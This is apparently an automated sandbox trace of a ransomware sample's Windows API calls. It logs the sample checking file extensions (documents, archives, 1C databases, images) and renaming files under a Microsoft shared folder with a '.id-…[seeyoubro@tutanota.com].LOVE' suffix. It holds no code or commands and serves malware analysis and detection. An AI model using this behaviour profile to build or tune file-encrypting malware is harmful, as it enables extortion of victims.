(lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0199.195] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=3333) returned 1 [0199.195] CloseHandle (hObject=0x328) returned 1 [0199.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0199.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0199.195] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0199.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0199.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0199.195] lstrlenW (lpString=".doc") returned 4 [0199.195] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0199.195] lstrlenW (lpString=".docx") returned 5 [0199.195] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0199.195] lstrlenW (lpString=".pdf") returned 4 [0199.196] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0199.196] lstrlenW (lpString=".xls") returned 4 [0199.196] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0199.196] lstrlenW (lpString=".xlsx") returned 5 [0199.196] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0199.196] lstrlenW (lpString=".ppt") returned 4 [0199.196] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0199.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0199.196] lstrlenW (lpString=".zip") returned 4 [0199.196] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0199.196] lstrlenW (lpString=".rar") returned 4 [0199.196] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0199.196] lstrlenW (lpString=".bz2") returned 4 [0199.196] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0199.196] lstrlenW (lpString=".7z") returned 3 [0199.196] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0199.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0199.196] lstrlenW (lpString=".dbf") returned 4 [0199.196] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0199.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0199.196] lstrlenW (lpString=".1cd") returned 4 [0199.196] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0199.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0199.196] lstrlenW (lpString=".jpg") returned 4 [0199.196] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0199.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0199.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0199.196] lstrlenW (lpString=".doc") returned 4 [0199.196] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0199.196] lstrlenW (lpString=".docx") returned 5 [0199.196] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0199.196] lstrlenW (lpString=".pdf") returned 4 [0199.196] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0199.196] lstrlenW (lpString=".xls") returned 4 [0199.196] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0199.196] lstrlenW (lpString=".xlsx") returned 5 [0199.196] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0199.196] lstrlenW (lpString=".ppt") returned 4 [0199.197] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0199.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0199.197] lstrlenW (lpString=".zip") returned 4 [0199.197] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0199.197] lstrlenW (lpString=".rar") returned 4 [0199.197] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0199.197] lstrlenW (lpString=".bz2") returned 4 [0199.197] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0199.197] lstrlenW (lpString=".7z") returned 3 [0199.197] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0199.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0199.197] lstrlenW (lpString=".dbf") returned 4 [0199.197] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0199.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0199.197] lstrlenW (lpString=".1cd") returned 4 [0199.197] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0199.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0199.197] lstrlenW (lpString=".jpg") returned 4 [0199.197] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0199.197] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0199.197] lstrlenW (lpString="baseAltGr_rtl.xml") returned 17 [0199.197] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0 [0200.208] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=247) returned 1 [0200.208] CloseHandle (hObject=0x2a0) returned 1 [0200.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0200.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0200.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0200.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0200.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0200.476] lstrlenW (lpString=".doc") returned 4 [0200.476] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.476] lstrlenW (lpString=".docx") returned 5 [0200.476] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0200.476] lstrlenW (lpString=".pdf") returned 4 [0200.476] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.476] lstrlenW (lpString=".xls") returned 4 [0200.476] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.476] lstrlenW (lpString=".xlsx") returned 5 [0200.476] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0200.476] lstrlenW (lpString=".ppt") returned 4 [0200.476] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0200.476] lstrlenW (lpString=".zip") returned 4 [0200.476] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.476] lstrlenW (lpString=".rar") returned 4 [0200.476] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.476] lstrlenW (lpString=".bz2") returned 4 [0200.476] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.476] lstrlenW (lpString=".7z") returned 3 [0200.476] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0200.476] lstrlenW (lpString=".dbf") returned 4 [0200.476] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0200.476] lstrlenW (lpString=".1cd") returned 4 [0200.477] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0200.477] lstrlenW (lpString=".jpg") returned 4 [0200.477] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0200.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0200.477] lstrlenW (lpString=".doc") returned 4 [0200.477] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.477] lstrlenW (lpString=".docx") returned 5 [0200.477] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0200.477] lstrlenW (lpString=".pdf") returned 4 [0200.477] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.477] lstrlenW (lpString=".xls") returned 4 [0200.477] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.477] lstrlenW (lpString=".xlsx") returned 5 [0200.477] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0200.477] lstrlenW (lpString=".ppt") returned 4 [0200.478] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0200.478] lstrlenW (lpString=".zip") returned 4 [0200.478] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.478] lstrlenW (lpString=".rar") returned 4 [0200.478] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.478] lstrlenW (lpString=".bz2") returned 4 [0200.478] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.478] lstrlenW (lpString=".7z") returned 3 [0200.478] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0200.478] lstrlenW (lpString=".dbf") returned 4 [0200.478] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0200.478] lstrlenW (lpString=".1cd") returned 4 [0200.478] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0200.478] lstrlenW (lpString=".jpg") returned 4 [0200.478] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.478] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0200.478] lstrlenW (lpString="zh-phonetic.xml") returned 15 [0200.478] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0201.557] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=10947) returned 1 [0201.557] CloseHandle (hObject=0x2d8) returned 1 [0201.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0201.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0201.557] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0201.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0201.557] lstrlenW (lpString=".doc") returned 4 [0201.557] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.557] lstrlenW (lpString=".docx") returned 5 [0201.557] lstrcmpiW (lpString1=".docx", lpString2="c.xml") returned -1 [0201.557] lstrlenW (lpString=".pdf") returned 4 [0201.557] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.557] lstrlenW (lpString=".xls") returned 4 [0201.557] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.557] lstrlenW (lpString=".xlsx") returned 5 [0201.557] lstrcmpiW (lpString1=".xlsx", lpString2="c.xml") returned -1 [0201.558] lstrlenW (lpString=".ppt") returned 4 [0201.558] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0201.558] lstrlenW (lpString=".zip") returned 4 [0201.558] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.558] lstrlenW (lpString=".rar") returned 4 [0201.558] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.558] lstrlenW (lpString=".bz2") returned 4 [0201.558] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.558] lstrlenW (lpString=".7z") returned 3 [0201.558] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0201.558] lstrlenW (lpString=".dbf") returned 4 [0201.558] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0201.558] lstrlenW (lpString=".1cd") returned 4 [0201.558] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0201.558] lstrlenW (lpString=".jpg") returned 4 [0201.558] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0201.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0201.558] lstrlenW (lpString=".doc") returned 4 [0201.558] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.559] lstrlenW (lpString=".docx") returned 5 [0201.559] lstrcmpiW (lpString1=".docx", lpString2="c.xml") returned -1 [0201.559] lstrlenW (lpString=".pdf") returned 4 [0201.559] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.559] lstrlenW (lpString=".xls") returned 4 [0201.559] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.559] lstrlenW (lpString=".xlsx") returned 5 [0201.559] lstrcmpiW (lpString1=".xlsx", lpString2="c.xml") returned -1 [0201.559] lstrlenW (lpString=".ppt") returned 4 [0201.559] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0201.559] lstrlenW (lpString=".zip") returned 4 [0201.559] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.559] lstrlenW (lpString=".rar") returned 4 [0201.559] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.559] lstrlenW (lpString=".bz2") returned 4 [0201.559] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.559] lstrlenW (lpString=".7z") returned 3 [0201.559] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0201.559] lstrlenW (lpString=".dbf") returned 4 [0201.559] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0201.559] lstrlenW (lpString=".1cd") returned 4 [0201.559] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85 [0201.559] lstrlenW (lpString=".jpg") returned 4 [0201.559] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.560] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0201.560] lstrlenW (lpString="oskmenu.xml") returned 11 [0201.560] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0201.701] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=215) returned 1 [0201.701] CloseHandle (hObject=0x328) returned 1 [0201.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0201.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0201.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0201.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0201.701] lstrlenW (lpString=".doc") returned 4 [0201.702] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.702] lstrlenW (lpString=".docx") returned 5 [0201.702] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0201.702] lstrlenW (lpString=".pdf") returned 4 [0201.702] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.702] lstrlenW (lpString=".xls") returned 4 [0201.702] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.702] lstrlenW (lpString=".xlsx") returned 5 [0201.702] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0201.702] lstrlenW (lpString=".ppt") returned 4 [0201.702] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0201.702] lstrlenW (lpString=".zip") returned 4 [0201.702] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.702] lstrlenW (lpString=".rar") returned 4 [0201.702] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.702] lstrlenW (lpString=".bz2") returned 4 [0201.702] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.702] lstrlenW (lpString=".7z") returned 3 [0201.702] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0201.702] lstrlenW (lpString=".dbf") returned 4 [0201.702] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0201.702] lstrlenW (lpString=".1cd") returned 4 [0201.702] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0201.702] lstrlenW (lpString=".jpg") returned 4 [0201.702] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0201.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0201.703] lstrlenW (lpString=".doc") returned 4 [0201.703] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.703] lstrlenW (lpString=".docx") returned 5 [0201.703] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0201.703] lstrlenW (lpString=".pdf") returned 4 [0201.703] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.703] lstrlenW (lpString=".xls") returned 4 [0201.703] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.703] lstrlenW (lpString=".xlsx") returned 5 [0201.703] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0201.703] lstrlenW (lpString=".ppt") returned 4 [0201.703] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0201.703] lstrlenW (lpString=".zip") returned 4 [0201.703] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.703] lstrlenW (lpString=".rar") returned 4 [0201.703] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.703] lstrlenW (lpString=".bz2") returned 4 [0201.703] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.703] lstrlenW (lpString=".7z") returned 3 [0201.703] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0201.703] lstrlenW (lpString=".dbf") returned 4 [0201.703] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0201.703] lstrlenW (lpString=".1cd") returned 4 [0201.703] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0201.703] lstrlenW (lpString=".jpg") returned 4 [0201.703] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.703] lstrcmpiW (lpString1=".dat", lpString2=".LOVE") returned -1 [0201.703] lstrlenW (lpString="hwrusash.dat") returned 12 [0201.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0201.718] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=3380096) returned 1 [0201.718] CloseHandle (hObject=0x34c) returned 1 [0201.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0201.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0201.718] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0 [0201.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0201.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0201.718] lstrlenW (lpString=".doc") returned 4 [0201.718] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0201.718] lstrlenW (lpString=".docx") returned 5 [0201.718] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0201.718] lstrlenW (lpString=".pdf") returned 4 [0201.718] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0201.718] lstrlenW (lpString=".xls") returned 4 [0201.718] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 